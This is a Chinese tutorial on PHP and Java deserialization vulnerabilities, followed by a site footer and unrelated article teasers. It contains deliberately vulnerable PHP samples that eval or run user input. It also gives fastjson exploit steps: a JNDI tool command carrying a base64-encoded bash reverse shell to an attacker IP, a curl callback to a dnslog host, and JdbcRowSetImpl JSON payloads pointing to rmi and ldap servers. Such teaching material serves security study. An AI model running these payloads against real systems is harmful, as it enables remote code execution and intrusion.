反序列化漏洞

php反序列化

1.什么是序列化和反序列化

office word是程序

doc/docx是數據

保存word文件:程序--保存(序列化)-->數據文件

打開word文件:程序--加載數據文件-->還原(反序列化)

游戲存檔:角色等級,任務,人物坐標,背包里面的物品......

保存存檔:序列化,加密(設備id),數據文件

還原存檔:讀取數據文件,解密(設備id),反序列化

2.類和對象

php面向過程(簡單): 上傳文件(1.判斷文件類型 2.判斷文件大小 3.判斷上傳的目錄是否存在 4.文件名處理 5.文件上傳)

php面向對象(復雜): 類(植物類)--模板 向日葵的子類 new對象(實例化)

植物大戰僵尸:

植物: 消耗陽光數量 能否攻擊 子彈傷害和射速 防御值

子彈類: 外觀 動畫效果 速度 傷害

僵尸類:普通僵尸 鐵桶僵尸

3.php反序列化原理:

反序列化漏洞原理:序列化和反序列化本身沒有問題,但是如果反序列化的內容是用戶可以控制的,且后臺不正當的使用了PHP中的魔法函數,就會導致安全問題

4.php中常見的幾個魔法函數:

__construct()當一個對象創建時被調用

__destruct()當一個對象銷毀時被調用

__toString()當一個對象被當作一個字符串使用

__sleep() 在對象在被序列化之前運行

__wakeup將在序列化之后立即被調用

代碼案例

class 小狗 {  public $名字;  public $顏色;  // 這就是構造函數  初始化函數public function __construct($名字, $顏色) {  $this->名字 = $名字;  $this->顏色 = $顏色;  echo "一只名叫" . $this->名字 . "、顏色是" . $this->顏色 . "的小狗誕生了!";  echo "<hr>";}  //序列化的時候執行public function __sleep(){echo "要睡覺了";echo "<hr>";return array($this->名字,$this->顏色);}//反序列化的時候執行public function __wakeup(){echo "被打醒了";echo "<hr>";}//被當作字符串的時候執行public function __toString(){return '旺財';}	//銷毀函數public function __destruct(){echo "我還會回來的";echo "<hr>";}public function 叫() {  echo "汪汪汪!";  echo "<hr>";}  
}  // 創建一個新的小狗對象  
// $我的小狗 = new 小狗("旺財", "棕色");  // echo serialize($我的小狗);
$a='O:6:"小狗":2:{s:6:"旺財";N;s:6:"棕色";R:2;}';
$b=unserialize($a);
// 調用小狗的“叫”方法  
$b->叫();echo $b;
echo "<hr>";

5.php反序列化例題講解

例題1:

<?php
highlight_file(__FILE__);
error_reporting(0);
class test{public $a = 'echo "this is test!!";';public function displayVar() {eval($this->a);}
}$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;?>

例題2:

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {var $cmd = "echo 'dazhuang666!!';" ;public function __destruct(){eval ($this->cmd);}
}
$ser = $_GET["benben"];
unserialize($ser);?>

例題3:

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {const SITE = 'uusama';public $username;public $nickname;private $password;public function __construct($username, $nickname, $password)    {$this->username = $username;$this->nickname = $nickname;$this->password = $password;}public function __sleep() {system($this->username);}
}
$cmd = $_GET['benben'];
$user = new User($cmd, 'b', 'c');
echo serialize($user);
?>

例題4:

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {const SITE = 'uusama';public $username;public $nickname;private $password;private $order;public function __wakeup() {system($this->username);}
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>

6.PHP訪問權限修飾符Public、Protected、private

7.php反序列化wakeup繞過

案例1:

<?php
//error_reporting(0);
class secret{var $file='index.php';public function __construct($file){$this->file=$file;}function __destruct(){include_once($this->file);echo $flag;}function __wakeup(){$this->file='index.php';}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){highlight_file(__FILE__);
}
else{unserialize($cmd);
}
//sercet in flag.php
?>

8.php反序列化調用鏈

案例:

<?phphighlight_file(__FILE__);error_reporting(E_ALL & ~E_NOTICE);class A{public $a;public function __destruct(){$this->function_a();}public function function_a(){$this->a->close();}}        class B{public $exp;function close(){eval($this->exp);}}$cmd = $_GET['666'];$cmd_unserialize = unserialize($cmd);
?>

java反序列化漏洞

shiro反序列化

Vulhub - Open-Source Vulnerable Docker Environments

Apache Shiro 1.2.4及以前版本中,加密的用戶信息序列化后存儲在名為remember-me的Cookie中。攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。

fastjson反序列化

工具1:

java的反彈shell用棱角社區生成
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5LjM5LzgwMDAgMD4mMQ==}|{base64,-d}|
{bash,-i}'
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'curl
http://vvvv.k6ph1u.dnslog.cn'

burp發送payload

請求頭修改多媒體類型
Content-Type: application/json
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.19.39:1099/nig6hq","autoCommit":true}
}

工具二:

顯示用法
java -jar JNDIExploit-2.0-SNAPSHOT.jar --ip 192.168.19.39 -u

burp發送payload

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.19.39:1389/Basic/Command/Base64/Y3VybCAgaHR0cDo
vL2JiYmJiYmJiLnAwaTh0cS5kbnNsb2cuY24=","autoCommit":true}
}

log4j2反序列化

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/93892.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/93892.shtml
英文地址,請注明出處:http://en.pswp.cn/web/93892.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Lecture 4 Mixture of experts課程筆記

什么是MoE?用&#xff08;多個&#xff09;大型前饋網絡和一個選擇器層取代大型前饋網絡。你可以在不影響浮點運算次數的情況下增加專家數量。 MoE受歡迎的原因 相同的浮點運算次數&#xff0c;更多的參數表現更好訓練混合專家模型&#xff08;MoEs&#xff09;速度更快訓練混…

微服務架構的演進:從 Spring Cloud Netflix 到云原生新生態

過去十年,Spring Cloud 憑借 Netflix 全家桶(Eureka、Ribbon、Hystrix、Zuul 等)幾乎成為 Java 微服務的事實標準。但隨著這些核心組件逐步停止更新或進入維護模式,微服務架構正經歷一場深刻的演進。新的微服務架構更加注重 云原生兼容性、社區活躍度、企業級穩定性和低運維…

網絡流量分析——基礎知識

文章目錄所需技能和知識TCP/IP 堆棧和 OSI 模型基本網絡概念常用端口和協議IP 數據包和子層的概念協議傳輸封裝環境與設備常見的流量分析工具BPF 語法執行網絡流量分析NTA工作流程NTA工作流程網絡 - 第 1-4 層OSI / TCP-IP 模型尋址機制MAC地址IP 尋址IPv4IPv6IPv6 尋址類型IPv…

ansible playbook 實戰案例roles | 實現基于 IHS 的 AWStats 訪問監控系統

文章目錄一、核心功能描述二、roles內容2.1 文件結構2.2 主配置文件2.3 tasks文件內容三、files文件內容四、關鍵價值免費個人運維知識庫&#xff0c;歡迎您的訂閱&#xff1a;literator_ray.flowus.cn 一、核心功能描述 這個 Ansible Role 的核心功能是&#xff1a;?實現 ?…

DELL服務器 R系列 IPMI的配置

1、iDRAC功能默認都是關閉&#xff0c;需要在BIOS面啟用&#xff0c;首先重啟計算機&#xff0c;按F2然后進入BIOS&#xff0c;選擇iDRAC Setting進行iDRAC配置 2、重置一下idrac卡-重置才能恢復默認密碼 3、進入iDRAC Setting之后&#xff0c;選擇設置網絡Network 4、啟用iDRA…

模式組合應用-橋接模式(一)

寫在前面Hello&#xff0c;我是易元&#xff0c;這篇文章是我學習設計模式時的筆記和心得體會。如果其中有錯誤&#xff0c;歡迎大家留言指正&#xff01;文章為設計模式間的組合使用&#xff0c;涉及代碼較多&#xff0c;個人覺得熟能生巧&#xff0c;希望自己能從中學習到新的…

【clion】visual studio的sln轉cmakelist并使用clion構建32位

我想在linux上運行,所以先轉為cmake工程 例如可以把exe mfc 部分不構建,這樣ubuntu就不用移植。 先轉cmakelist,而后clion完成win32的構建,與vs構建對比,驗證腳本正確性。 Vcxproj2CMake https://github.com/gns333/Vcxproj2CMake cmakeconverter https://github.com/pave…

MySQL之分區功能

序言 隨著業務發展&#xff0c;我們維護的項目數據庫中的數據可能會越來越大&#xff0c;那么單張表的數據變多后&#xff0c;接口查詢效率可能會變慢&#xff0c;那我們就直接照抄大廠常見的分庫分表嗎&#xff1f;—— 當然不是的&#xff0c;分庫分表不是萬能的。 分庫分表…

java_spring boot 中使用 log4j2 及 自定義layout設置示例

1. log4j2對比 原始Logback 優勢 對于 Spring Boot 3.x&#xff0c;Logback 是默認日志框架&#xff0c;但在高并發、異步日志場景下&#xff0c;Log4j2 通常表現更優。當業務百萬級用戶、微服務、日志量大時&#xff1a; ? 1. Logback&#xff08;默認 Spring Boot 集成&am…

記錄Webapi Excel 導出

文章目錄1、helper2、control3、前端 axios記錄webapi excel 導出File示例.NET8.0 NPOI2.731、helper using NPOI.SS.UserModel; using NPOI.XSSF.UserModel; using System.Data; using System.IO; /// <summary> /// 導出EXCEL /// </summary> public class Exce…

VPS服務器安全審計方案:從風險評估到防護實施

隨著云計算技術的快速發展&#xff0c;VPS服務器已成為企業信息化建設的重要基礎設施。隨之而來的安全威脅也日益增多&#xff0c;如何通過專業的安全審計方案保障VPS服務器的穩定運行成為關鍵課題。本文將系統闡述從漏洞掃描到應急響應的全周期安全審計實施策略&#xff0c;幫…

libmicrohttpd 入門

libmicrohttpd 是一個小型的 C 庫&#xff0c;用于在項目中嵌入 HTTP 服務器功能。它設計簡單、輕量級&#xff0c;適合需要 HTTP 接口但不想要大型 Web 服務器開銷的應用程序。 安裝 libmicrohttpd Linux 系統 在基于 Debian/Ubuntu 的系統上&#xff1a; bash sudo apt-…

【網絡】使用 DNAT 進行負載均衡時,若未配置配套的 SNAT,回包失敗

【網絡】iptables 1 概念 【網絡】iptables 2 查看規則 【網絡】使用 DNAT 進行負載均衡時&#xff0c;若未配置配套的 SNAT&#xff0c;回包失敗 【網絡】回包路由原理 使用 DNAT 進行負載均衡時&#xff0c;若未配置配套的 SNAT&#xff0c;后端服務器將直接回包給客戶端&am…

深入解析GCC:從編譯原理到嵌入式底層實戰

繼續更新編譯器底層系列&#xff01;&#xff01;&#xff01;硬核C語言的屠龍之術&#xff1a;從GCC到匯編的底層征途&#xff08;一&#xff09;總綱&#xff1a; 恭喜你&#xff0c;決定踏上這條通往嵌入式大佬的硬核之路。這條路的起點&#xff0c;不是C語言的語法書&#…

最新MySQL面試題(2025超詳細版)

2025最新超詳細MySQL面試題 文章目錄2025最新超詳細MySQL面試題[toc]一、 SQL 和基本操作1. SQL的執行順序2. 如何優化MySQL查詢3. 常用的聚合函數4. 數據庫事務5. 事務的四大特性(ACID)6. 視圖7. MySQL中使用LIMIT子句進行分頁8. MySQL中使用變量和用戶定義的函數9. MySQL中的…

Spring Retry實戰指南_讓你的應用更具韌性

1 Spring Retry概述 1.1 什么是Spring Retry Spring Retry是Spring生態系統中的一個重要組件,專門用于處理應用程序中的重試邏輯。在分布式系統和微服務架構中,網絡通信、外部服務調用、數據庫訪問等操作都可能因為各種原因而失敗,如網絡抖動、服務暫時不可用、資源競爭等…

大數據畢業設計選題推薦-基于大數據的1688商品類目關系分析與可視化系統-Hadoop-Spark-數據可視化-BigData

?作者主頁&#xff1a;IT畢設夢工廠? 個人簡介&#xff1a;曾從事計算機專業培訓教學&#xff0c;擅長Java、Python、PHP、.NET、Node.js、GO、微信小程序、安卓Android等項目實戰。接項目定制開發、代碼講解、答辯教學、文檔編寫、降重等。 ?文末獲取源碼? 精彩專欄推薦?…

【Grafana】grafana-image-renderer配合python腳本實現儀表盤導出pdf

背景 os&#xff1a;centos7Grafana&#xff1a;v12grafana-image-renderer&#xff1a;v4.0.10插件&#xff1a;否grafana-image-renderer可以以插件形式啟動&#xff0c;也可以以單獨服務啟動&#xff0c;在centos7插件啟動時&#xff0c;報錯glibc版本太低&#xff0c;未找到…

靜/動態庫 IIC(arm) day58

十七&#xff1a;動態庫和靜態庫 庫&#xff1a;一堆可執行二進制文件的集合&#xff0c;由若干個.o文件歸并生成 一&#xff1a;靜態(鏈接)庫&#xff1a;libxxx.a 生成一個獨立的可執行程序(運行時僅需要一個文件即可) 使用方便 不需要安裝 文件比較大 多個程序使用同一個靜態…

uniapp 手寫簽名組件開發全攻略

引言在移動應用開發中&#xff0c;手寫簽名功能是一個常見的需求&#xff0c;特別是在電子合同、審批流程、金融交易等場景中。本文將詳細介紹如何基于uni-app框架開發一個高性能、功能豐富的手寫簽名組件&#xff0c;并分享開發過程中的技術要點和最佳實踐。組件概述這個簽名組…